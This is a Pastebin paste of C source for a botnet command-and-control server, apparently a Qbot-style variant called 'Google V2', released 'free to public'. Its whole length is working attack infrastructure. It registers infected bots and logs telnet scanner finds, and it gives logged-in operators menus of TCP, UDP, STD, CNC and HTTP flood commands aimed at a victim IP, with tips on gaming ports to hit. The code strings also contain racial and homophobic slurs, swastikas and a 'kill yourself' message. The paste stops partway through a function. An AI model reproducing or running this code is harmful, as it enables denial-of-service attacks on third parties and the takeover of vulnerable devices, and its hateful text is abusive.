Cumfort

Google Server Side (ENJOY!!)

Sep 5th, 2017
391
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 34.26 KB | None | 0 0
  1. /*
  2. GoogleV2
  3. ______ _______ _______ _______ _______ _______ ______ __ __ _______ ______ _______
  4. | | | || || | | || || _ | | | | || || _ | | |
  5. | _ || _ || _ || ___| | _____|| ___|| | || | |_| || ___|| | || | _____|
  6. | | | || | | || |_| || |___ | |_____ | |___ | |_||_ | || |___ | |_||_ | |_____
  7. | |_| || |_| || ___|| ___| |_____ || ___|| __ || || ___|| __ ||_____ |
  8. | || || | | |___ _____| || |___ | | | | | | | |___ | | | | _____| |
  9. |______| |_______||___| |_______| |_______||_______||___| |_| |___| |_______||___| |_||_______|
  10. ENJOY BRUHHHH
  11. THIS IS THE FINAL AND LAST BUILD OF GOOGLE SERVER SIDE AND CLIENT IF U HAVE THIS CONSIDER YOURSELF LUCKY
  12. @dope.server
  13. Now Free To Public Enjoy
  14. */
  15. #include <stdio.h>
  16. #include <stdlib.h>
  17. #include <string.h>
  18. #include <sys/types.h>
  19. #include <sys/socket.h>
  20. #include <netdb.h>
  21. #include <unistd.h>
  22. #include <time.h>
  23. #include <fcntl.h>
  24. #include <sys/epoll.h>
  25. #include <errno.h>
  26. #include <pthread.h>
  27. #include <signal.h>
  28.  
  29. #define MAXFDS 1000000
  30.  
  31. struct account {
  32. char id[20];
  33. char password[20];
  34. };
  35. static struct account accounts[5000]; //max users is set on 15 you can edit that to whatever
  36. struct clientdata_t {
  37. uint32_t ip;
  38. char build[7];
  39. char connected;
  40. } clients[MAXFDS];
  41. struct telnetdata_t {
  42. int connected;
  43. } managements[MAXFDS];
  44. ////////////////////////////////////
  45. static volatile FILE *telFD;
  46. static volatile FILE *fileFD;
  47. static volatile int epollFD = 0;
  48. static volatile int listenFD = 0;
  49. static volatile int managesConnected = 0;
  50. static volatile int TELFound = 0;
  51. static volatile int scannerreport;
  52. ////////////////////////////////////
  53. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  54. {
  55. int total = 0, got = 1;
  56. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  57. return got;
  58. }
  59. void trim(char *str)
  60. {
  61. int i;
  62. int begin = 0;
  63. int end = strlen(str) - 1;
  64. while (isspace(str[begin])) begin++;
  65. while ((end >= begin) && isspace(str[end])) end--;
  66. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  67. str[i - begin] = '\0';
  68. }
  69. static int make_socket_non_blocking (int sfd)
  70. {
  71. int flags, s;
  72. flags = fcntl (sfd, F_GETFL, 0);
  73. if (flags == -1)
  74. {
  75. perror ("fcntl");
  76. return -1;
  77. }
  78. flags |= O_NONBLOCK;
  79. s = fcntl (sfd, F_SETFL, flags);
  80. if (s == -1)
  81. {
  82. perror ("fcntl");
  83. return -1;
  84. }
  85. return 0;
  86. }
  87. static int create_and_bind (char *port)
  88. {
  89. struct addrinfo hints;
  90. struct addrinfo *result, *rp;
  91. int s, sfd;
  92. memset (&hints, 0, sizeof (struct addrinfo));
  93. hints.ai_family = AF_UNSPEC;
  94. hints.ai_socktype = SOCK_STREAM;
  95. hints.ai_flags = AI_PASSIVE;
  96. s = getaddrinfo (NULL, port, &hints, &result);
  97. if (s != 0)
  98. {
  99. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  100. return -1;
  101. }
  102. for (rp = result; rp != NULL; rp = rp->ai_next)
  103. {
  104. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  105. if (sfd == -1) continue;
  106. int yes = 1;
  107. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  108. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  109. if (s == 0)
  110. {
  111. break;
  112. }
  113. close (sfd);
  114. }
  115. if (rp == NULL)
  116. {
  117. fprintf (stderr, "Fuck Boy Change The Port You idiot\n");
  118. return -1;
  119. }
  120. freeaddrinfo (result);
  121. return sfd;
  122. }
  123. void broadcast(char *msg, int us, char *sender)
  124. {
  125. int sendMGM = 1;
  126. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  127. char *wot = malloc(strlen(msg) + 10);
  128. memset(wot, 0, strlen(msg) + 10);
  129. strcpy(wot, msg);
  130. trim(wot);
  131. time_t rawtime;
  132. struct tm * timeinfo;
  133. time(&rawtime);
  134. timeinfo = localtime(&rawtime);
  135. char *timestamp = asctime(timeinfo);
  136. trim(timestamp);
  137. int i;
  138. for(i = 0; i < MAXFDS; i++)
  139. {
  140. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  141. if(sendMGM && managements[i].connected)
  142. {
  143. send(i, "\x1b[31m", 5, MSG_NOSIGNAL);
  144. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  145. send(i, ": ", 2, MSG_NOSIGNAL);
  146. }
  147. printf("sent to fd: %d\n", i);
  148. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  149. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[31m~> \x1b[0m", 13, MSG_NOSIGNAL);
  150. else send(i, "\n", 1, MSG_NOSIGNAL);
  151. }
  152. free(wot);
  153. }
  154. void *epollEventLoop(void *useless)
  155. {
  156. struct epoll_event event;
  157. struct epoll_event *events;
  158. int s;
  159. events = calloc (MAXFDS, sizeof event);
  160. while (1)
  161. {
  162. int n, i;
  163. n = epoll_wait (epollFD, events, MAXFDS, -1);
  164. for (i = 0; i < n; i++)
  165. {
  166. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  167. {
  168. clients[events[i].data.fd].connected = 0;
  169. close(events[i].data.fd);
  170. continue;
  171. }
  172. else if (listenFD == events[i].data.fd)
  173. {
  174. while (1)
  175. {
  176. struct sockaddr in_addr;
  177. socklen_t in_len;
  178. int infd, ipIndex;
  179. in_len = sizeof in_addr;
  180. infd = accept (listenFD, &in_addr, &in_len);
  181. if (infd == -1)
  182. {
  183. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  184. else
  185. {
  186. perror ("accept");
  187. break;
  188. }
  189. }
  190. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  191. int dup = 0;
  192. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
  193. {
  194. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  195. //WE ARE MAKING SURE THERE IS NO DUP CLIENTS
  196. if(clients[ipIndex].ip == clients[infd].ip)
  197. {
  198. dup = 1;
  199. break;
  200. }
  201. }
  202.  
  203. if(dup)
  204. { //WE ARE MAKE SURE AGAIN HERE BY SENDING !* LOLNOGTFO|!* GTFOFAG
  205. if(send(infd, "!* GTFONIGGER\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  206. if(send(infd, "!* GTFOFAG\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  207. if(send(infd, "!* GTFODUP\n\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  208. if(send(infd, "!* DUPES\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  209. if(send(infd, "!* GTFOPUSSY\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  210. if(send(infd, "!* LOLNOGTFO\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  211. close(infd);
  212. continue;
  213. }
  214.  
  215. s = make_socket_non_blocking (infd);
  216. if (s == -1) { close(infd); break; }
  217.  
  218. event.data.fd = infd;
  219. event.events = EPOLLIN | EPOLLET;
  220. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  221. if (s == -1)
  222. {
  223. perror ("epoll_ctl");
  224. close(infd);
  225. break;
  226. }
  227.  
  228. clients[infd].connected = 1;
  229. send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  230. send(infd, "!* FATCOCK\n", 11, MSG_NOSIGNAL);
  231.  
  232. }
  233. continue;
  234. }
  235. else
  236. {
  237. int thefd = events[i].data.fd;
  238. struct clientdata_t *client = &(clients[thefd]);
  239. int done = 0;
  240. client->connected = 1;
  241. while (1)
  242. {
  243. ssize_t count;
  244. char buf[2048];
  245. memset(buf, 0, sizeof buf);
  246.  
  247. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  248. {
  249. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  250. trim(buf);
  251. if(strcmp(buf, "PING") == 0) // basic IRC-like ping/pong challenge/response to see if server is alive
  252. {
  253. if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  254. continue;
  255. }
  256. if(strstr(buf, "REPORT ") == buf) // received a report of a vulnerable system from a scan
  257. {
  258. char *line = strstr(buf, "REPORT ") + 7;
  259. fprintf(telFD, "%s\n", line); // let's write it out to disk without checking what it is!
  260. fflush(telFD);
  261. TELFound++;
  262. continue;
  263. }
  264. if(strstr(buf, "PROBING") == buf)
  265. {
  266. char *line = strstr(buf, "PROBING");
  267. scannerreport = 1;
  268. continue;
  269. }
  270. if(strstr(buf, "REMOVING PROBE") == buf)
  271. {
  272. char *line = strstr(buf, "REMOVING PROBE");
  273. scannerreport = 0;
  274. continue;
  275. }
  276. if(strcmp(buf, "PONG") == 0)
  277. {
  278. continue;
  279. }
  280.  
  281. printf("buf: \"%s\"\n", buf);
  282. }
  283.  
  284. if (count == -1)
  285. {
  286. if (errno != EAGAIN)
  287. {
  288. done = 1;
  289. }
  290. break;
  291. }
  292. else if (count == 0)
  293. {
  294. done = 1;
  295. break;
  296. }
  297. }
  298.  
  299. if (done)
  300. {
  301. client->connected = 0;
  302. close(thefd);
  303. }
  304. }
  305. }
  306. }
  307. }
  308. unsigned int clientsConnected()
  309. {
  310. int i = 0, total = 0;
  311. for(i = 0; i < MAXFDS; i++)
  312. {
  313. if(!clients[i].connected) continue;
  314. total++;
  315. }
  316.  
  317. return total;
  318. }
  319. void *titleWriter(void *sock)
  320. {
  321. int thefd = (int)sock;
  322. char string[2048];
  323. while(1)
  324. {
  325. memset(string, 0, 2048);
  326. sprintf(string, "%c]0; [+] Slaves Connected: %d [www.google.com] Hackers Connected: %d [+]%c", '\033', clientsConnected(), managesConnected, '\007');
  327. if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  328.  
  329. sleep(3);
  330. }
  331. }
  332. int Search_in_File(char *str)
  333. {
  334. FILE *fp;
  335. int line_num = 0;
  336. int find_result = 0, find_line=0;
  337. char temp[512];
  338.  
  339. if((fp = fopen("login.txt", "r")) == NULL){
  340. return(-1);
  341. }
  342. while(fgets(temp, 512, fp) != NULL){
  343. if((strstr(temp, str)) != NULL){
  344. find_result++;
  345. find_line = line_num;
  346. }
  347. line_num++;
  348. }
  349. if(fp)
  350. fclose(fp);
  351.  
  352. if(find_result == 0)return 0;
  353.  
  354. return find_line;
  355. }
  356.  
  357. void *telnetWorker(void *sock)
  358. {
  359. char usernamez[80];
  360. int thefd = (int)sock;
  361. int find_line;
  362. managesConnected++;
  363. pthread_t title;
  364. char counter[2048];
  365. memset(counter, 0, 2048);
  366. char buf[2048];
  367. char* nickstring;
  368. char* username;
  369. char* password;
  370. memset(buf, 0, sizeof buf);
  371. char botnet[2048];
  372. memset(botnet, 0, 2048);
  373.  
  374. FILE *fp;
  375. int i=0;
  376. int c;
  377. fp=fopen("login.txt", "r");
  378. while(!feof(fp))
  379. {
  380. c=fgetc(fp);
  381. ++i;
  382. }
  383. int j=0;
  384. rewind(fp);
  385. while(j!=i-1)
  386. {
  387. fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
  388. ++j;
  389. }
  390.  
  391. if(send(thefd, "\x1b[31mUsername? \x1b[30m", 23, MSG_NOSIGNAL) == -1) goto end;
  392. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  393. trim(buf);
  394. sprintf(usernamez, buf);
  395. nickstring = ("%s", buf);
  396. find_line = Search_in_File(nickstring);
  397. if(strcmp(nickstring, accounts[find_line].id) == 0){
  398. if(send(thefd, "\x1b[31m* CONGRATULATIONS *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  399. if(send(thefd, "\x1b[31mPassword? \x1b[30m", 23, MSG_NOSIGNAL) == -1) goto end;
  400. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  401. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  402. trim(buf);
  403. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  404. memset(buf, 0, 2048);
  405. goto fak;
  406. }
  407. failed:
  408. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  409. if(send(thefd, "\x1b[34m***********************************\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  410. if(send(thefd, "\x1b[31m* JUST KILL YOURSELF *\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  411. if(send(thefd, "\x1b[33m***********************************\r\n", 43, MSG_NOSIGNAL) == -1) goto end;
  412. sleep(5);
  413. goto end;
  414. fak:
  415.  
  416. pthread_create(&title, NULL, &titleWriter, sock);
  417. char line1 [5000];
  418. char line2 [5000];
  419. char line3 [5000];
  420. char line4 [5000];
  421. char line5 [5000];
  422. char line6 [5000];
  423. char line7 [5000];
  424. char line8 [5000];
  425. char line9 [5000];
  426. char line10 [5000];
  427. char line11 [5000];
  428.  
  429. sprintf(line1, "\x1b[32m ,,\r\n");
  430. sprintf(line2, "\x1b[34m .g8'''bgd \x1b[32m`7MM\r\n");
  431. sprintf(line3, "\x1b[34m.dP' `M \x1b[32mMM\r\n");
  432. sprintf(line4, "\x1b[34mdM' ` \x1b[31m,pW'Wq. \x1b[33m,pW'Wq. \x1b[34m.P'Ybmmm \x1b[32mMM \x1b[31m.gP'Ya\r\n");
  433. sprintf(line5, "\x1b[34mMM \x1b[31m6W' `Wb \x1b[33m6W' `Wb \x1b[34m:MI I8 \x1b[32mMM \x1b[31m,M' Yb\r\n");
  434. sprintf(line6, "\x1b[34mMM. `7MMF'\x1b[31m8M M8 \x1b[33m8M M8 \x1b[34mWmmmP' \x1b[32mMM \x1b[31m8M''''''\r\n");
  435. sprintf(line7, "\x1b[34m`Mb. MM \x1b[31mYA. ,A9 \x1b[33mYA. ,A9 \x1b[34m8M \x1b[32mMM \x1b[31mYM. ,\r\n");
  436. sprintf(line8, "\x1b[34m `'bmmmdPY \x1b[31m`Ybmd9' \x1b[33m`Ybmd9' \x1b[34mYMMMMMb \x1b[32m.JMML.\x1b[31m`Mbmmd'\r\n");
  437. sprintf(line9, "\x1b[34m 6' dP\r\n");
  438. sprintf(line10, "\x1b[34m Ybmmmd'\r\n");
  439. sprintf(line11, "\r\n\x1b[37m [+]-\x1b[31mWelcome %s To The Google V2\x1b[37m-[+]\r\n", accounts[find_line].id, buf);
  440.  
  441. if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  442. if(send(thefd, line2, strlen(line2), MSG_NOSIGNAL) == -1) goto end;
  443. if(send(thefd, line3, strlen(line3), MSG_NOSIGNAL) == -1) goto end;
  444. if(send(thefd, line4, strlen(line4), MSG_NOSIGNAL) == -1) goto end;
  445. if(send(thefd, line5, strlen(line5), MSG_NOSIGNAL) == -1) goto end;
  446. if(send(thefd, line6, strlen(line6), MSG_NOSIGNAL) == -1) goto end;
  447. if(send(thefd, line7, strlen(line7), MSG_NOSIGNAL) == -1) goto end;
  448. if(send(thefd, line8, strlen(line8), MSG_NOSIGNAL) == -1) goto end;
  449. if(send(thefd, line9, strlen(line9), MSG_NOSIGNAL) == -1) goto end;
  450. if(send(thefd, line10, strlen(line10), MSG_NOSIGNAL) == -1) goto end;
  451. if(send(thefd, line11, strlen(line11), MSG_NOSIGNAL) == -1) goto end;
  452. pthread_create(&title, NULL, &titleWriter, sock);
  453. managements[thefd].connected = 1;
  454.  
  455. while(fdgets(buf, sizeof buf, thefd) > 0)
  456. {
  457. if(strstr(buf, "STATUS"))
  458. {
  459. sprintf(botnet, "[卐] Telnet devices: %d [-] Telnet status: %d [卐]\r\n", TELFound, scannerreport);
  460. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  461. }
  462.  
  463. if(strstr(buf, "BOTS"))
  464. {
  465. sprintf(botnet, "[卐] Bots Online: %d [-] Users Online: %d [卐]\r\n", clientsConnected(), managesConnected);
  466. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  467. }
  468.  
  469. if(strstr(buf, "SHOW"))
  470. {
  471. sprintf(botnet, "[卐] Bots Online: %d [-] Users Online: %d [卐]\r\n", clientsConnected(), managesConnected);
  472. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  473. }
  474.  
  475. if(strstr(buf, "bots"))
  476. {
  477. sprintf(botnet, "[卐] Bots Online: %d [-] Users Online: %d [卐]\r\n", clientsConnected(), managesConnected);
  478. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  479. }
  480. if(strstr(buf, "RULES"))
  481. {
  482. sprintf(botnet, "NO HITTING THE SAME IP MORE THEN TWICE\r\nNO ATTACKS ABOVE 1100\r\n");
  483. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  484. }
  485. if(strstr(buf, "EXTRA"))
  486. {
  487. sprintf(botnet, "EXTRA HELP\r\n");
  488. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  489. sprintf(botnet, "!* TCP IP PORT TIME 32 all 0 1\r\nTHE IP=THE VICTIMS IP\r\nPORT LOOK IN THE PORT COMMAND\r\nTIME = HOW LONG DONT GO OVER 1500\r\n");
  490. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  491. }
  492. if(strstr(buf, "PORTS"))
  493. {
  494. sprintf(botnet, "xbox port 3074 psn port 443, 53, 3478 if you dont know the port use 80\r\n");
  495. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  496. }
  497. if(strstr(buf, "!* SCANNER OFF"))
  498. {
  499. sprintf(botnet, "STOPPING TELNET SCANNER\r\n");
  500. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  501. }
  502. if(strstr(buf, "!* TCP"))
  503. {
  504. sprintf(botnet, "TCP FLOOD\r\n");
  505. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  506. }
  507. if(strstr(buf, "!* UDP"))
  508. {
  509. sprintf(botnet, "UDP FLOOD\r\n");
  510. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  511. }
  512. if(strstr(buf, "!* STD"))
  513. {
  514. sprintf(botnet, "STD FLOOD\r\n");
  515. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  516. }
  517. if(strstr(buf, "!* CNC"))
  518. {
  519. sprintf(botnet, "CNC FLOOD\r\n");
  520. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  521. }
  522. if(strstr(buf, "!* HTTPFLOOD"))
  523. {
  524. sprintf(botnet, "HTTP FLOOD\r\n");
  525. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  526. }
  527. if(strstr(buf, "!* HTTP"))
  528. {
  529. sprintf(botnet, "HTTP FLOOD\r\n");
  530. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  531. }
  532. if(strstr(buf, "!* SCANNER ON"))
  533. {
  534. sprintf(botnet, "STARTING TELNET SCANNER\r\n");
  535. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  536. }
  537. if(strstr(buf, "ports"))
  538. {
  539. sprintf(botnet, "xbox port 3074 psn port 443, 53, 3478 if you dont know the port use 80\r\n");
  540. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  541. }
  542. if(strstr(buf, "help"))
  543. {
  544. sprintf(botnet, "\x1b[0;37m[卐]\x1b[0;34m]Attack Commands----------------------------------\x1b[0;37m\r\n");
  545. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  546. sprintf(botnet, "\x1b[0;31m!* TCP [IP] [PORT] [TIME] 32 all 0 1 | TCP FLOOD\r\n");
  547. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  548. sprintf(botnet, "\x1b[0;33m!* UDP [IP] [PORT] [TIME] 32 0 1 | UDP FLOOD\r\n");
  549. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  550. sprintf(botnet, "\x1b[0;32m!* STD [IP] [PORT] [TIME] | STD FLOOD\r\n");
  551. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  552. sprintf(botnet, "\x1b[0;34m!* CNC [IP] [ADMIN PORT] [TIME] | CNC FLOOD\r\n");
  553. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  554. sprintf(botnet, "\x1b[0;37m[卐]\x1b[0;31mExtra Commands------------------------------------\x1b[0;37m\r\n");
  555. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  556. sprintf(botnet, "\x1b[0;33m!* KILLATTK | KILLS ALL ATTACKS\r\n");
  557. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  558. sprintf(botnet, "\x1b[0;32m!* SCANNER ON | OFF | TURNS ON THE TELNET SCANNER\r\n");
  559. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  560. sprintf(botnet, "\x1b[0;37m[卐]\x1b[0;34mHaXoRz Commands------------------------------------\x1b[0;37m\r\n");
  561. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  562. sprintf(botnet, "\x1b[0;31mPORTS | SHOWS THE PORTS TO HIT WITH\r\n");
  563. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  564. sprintf(botnet, "\x1b[0;33mEXTRA | EXTRA HELP WHEN IT COMES TO HITTING\r\n");
  565. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  566. sprintf(botnet, "\x1b[0;32mBOTS | SHOW REAL BOT COUNT\r\n");
  567. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  568. sprintf(botnet, "\x1b[0;34mCLEAR | CLEARS YOUR SCREEN\r\n");
  569. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  570. }
  571.  
  572. if(strstr(buf, "HELP"))
  573. {
  574. sprintf(botnet, "\x1b[0;37m[卐]\x1b[0;34m]Attack Commands----------------------------------\x1b[0;37m\r\n");
  575. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  576. sprintf(botnet, "\x1b[0;31m!* TCP [IP] [PORT] [TIME] 32 all 0 1 | TCP FLOOD\r\n");
  577. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  578. sprintf(botnet, "\x1b[0;33m!* UDP [IP] [PORT] [TIME] 32 0 1 | UDP FLOOD\r\n");
  579. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  580. sprintf(botnet, "\x1b[0;32m!* STD [IP] [PORT] [TIME] | STD FLOOD\r\n");
  581. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  582. sprintf(botnet, "\x1b[0;34m!* CNC [IP] [ADMIN PORT] [TIME] | CNC FLOOD\r\n");
  583. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  584. sprintf(botnet, "\x1b[0;37m[卐]\x1b[0;31mExtra Commands------------------------------------\x1b[0;37m\r\n");
  585. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  586. sprintf(botnet, "\x1b[0;33m!* KILLATTK | KILLS ALL ATTACKS\r\n");
  587. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  588. sprintf(botnet, "\x1b[0;32m!* SCANNER ON | OFF | TURNS ON THE TELNET SCANNER\r\n");
  589. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  590. sprintf(botnet, "\x1b[0;37m[卐]\x1b[0;34mHaXoRz Commands------------------------------------\x1b[0;37m\r\n");
  591. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  592. sprintf(botnet, "\x1b[0;31mPORTS | SHOWS THE PORTS TO HIT WITH\r\n");
  593. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  594. sprintf(botnet, "\x1b[0;33mEXTRA | EXTRA HELP WHEN IT COMES TO HITTING\r\n");
  595. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  596. sprintf(botnet, "\x1b[0;32mBOTS | SHOW REAL BOT COUNT\r\n");
  597. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  598. sprintf(botnet, "\x1b[0;34mCLEAR | CLEARS YOUR SCREEN\r\n");
  599. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  600. }
  601. if(strstr(buf, "CLEAR")){
  602.  
  603. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  604. if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  605. if(send(thefd, line2, strlen(line2), MSG_NOSIGNAL) == -1) goto end;
  606. if(send(thefd, line3, strlen(line3), MSG_NOSIGNAL) == -1) goto end;
  607. if(send(thefd, line4, strlen(line4), MSG_NOSIGNAL) == -1) goto end;
  608. if(send(thefd, line5, strlen(line5), MSG_NOSIGNAL) == -1) goto end;
  609. if(send(thefd, line6, strlen(line6), MSG_NOSIGNAL) == -1) goto end;
  610. if(send(thefd, line7, strlen(line7), MSG_NOSIGNAL) == -1) goto end;
  611. if(send(thefd, line8, strlen(line8), MSG_NOSIGNAL) == -1) goto end;
  612. if(send(thefd, line9, strlen(line9), MSG_NOSIGNAL) == -1) goto end;
  613. if(send(thefd, line10, strlen(line10), MSG_NOSIGNAL) == -1) goto end;
  614. if(send(thefd, line11, strlen(line11), MSG_NOSIGNAL) == -1) goto end;
  615. pthread_create(&title, NULL, &titleWriter, sock);
  616. managements[thefd].connected = 1;
  617. }
  618. if(strstr(buf, "clear")){
  619. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  620. if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  621. if(send(thefd, line2, strlen(line2), MSG_NOSIGNAL) == -1) goto end;
  622. if(send(thefd, line3, strlen(line3), MSG_NOSIGNAL) == -1) goto end;
  623. if(send(thefd, line4, strlen(line4), MSG_NOSIGNAL) == -1) goto end;
  624. if(send(thefd, line5, strlen(line5), MSG_NOSIGNAL) == -1) goto end;
  625. if(send(thefd, line6, strlen(line6), MSG_NOSIGNAL) == -1) goto end;
  626. if(send(thefd, line7, strlen(line7), MSG_NOSIGNAL) == -1) goto end;
  627. if(send(thefd, line8, strlen(line8), MSG_NOSIGNAL) == -1) goto end;
  628. if(send(thefd, line9, strlen(line9), MSG_NOSIGNAL) == -1) goto end;
  629. if(send(thefd, line10, strlen(line10), MSG_NOSIGNAL) == -1) goto end;
  630. if(send(thefd, line11, strlen(line11), MSG_NOSIGNAL) == -1) goto end;
  631. pthread_create(&title, NULL, &titleWriter, sock);
  632. managements[thefd].connected = 1;
  633. }
  634. if(strstr(buf, "LOGOUT"))
  635. {
  636. sprintf(botnet, "卐FUCK YOU %s GTFO!卐\r\n", accounts[find_line].id, buf);
  637. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  638. goto end;
  639. }
  640. if(strstr(buf, "LOLNOGTFO"))
  641. {
  642. printf("ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
  643. FILE *logFile;
  644. logFile = fopen("KILL.log", "a");
  645. fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
  646. fclose(logFile);
  647. goto end;
  648. }
  649. if(strstr(buf, "GTFOFAG"))
  650. {
  651. printf("ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
  652. FILE *logFile;
  653. logFile = fopen("KILL.log", "a");
  654. fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
  655. fclose(logFile);
  656. goto end;
  657. }
  658. if(strstr(buf, "SH"))
  659. {
  660. printf("ATTEMPT TO SHELL YOUR BOTS BY %s\n", accounts[find_line].id, buf);
  661. FILE *logFile;
  662. logFile = fopen("SH.log", "a");
  663. fprintf(logFile, "ATTEMPT TO STEAL BOTS %s\n", accounts[find_line].id, buf);
  664. fclose(logFile);
  665. goto end;
  666. }
  667. if(strstr(buf, "SHELL"))
  668. {
  669. printf("ATTEMPT TO SHELL YOUR BOTS BY %s\n", accounts[find_line].id, buf);
  670. FILE *logFile;
  671. logFile = fopen("SH.log", "a");
  672. fprintf(logFile, "ATTEMPT TO STEAL BOTS BY %s\n", accounts[find_line].id, buf);
  673. fclose(logFile);
  674. goto end;
  675. }
  676. trim(buf);
  677. if(send(thefd, "\x1b[37m~> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  678. if(strlen(buf) == 0) continue;
  679. printf("%s: \"%s\"\n",accounts[find_line].id, buf);
  680. FILE *logFile;
  681. logFile = fopen("report.log", "a");
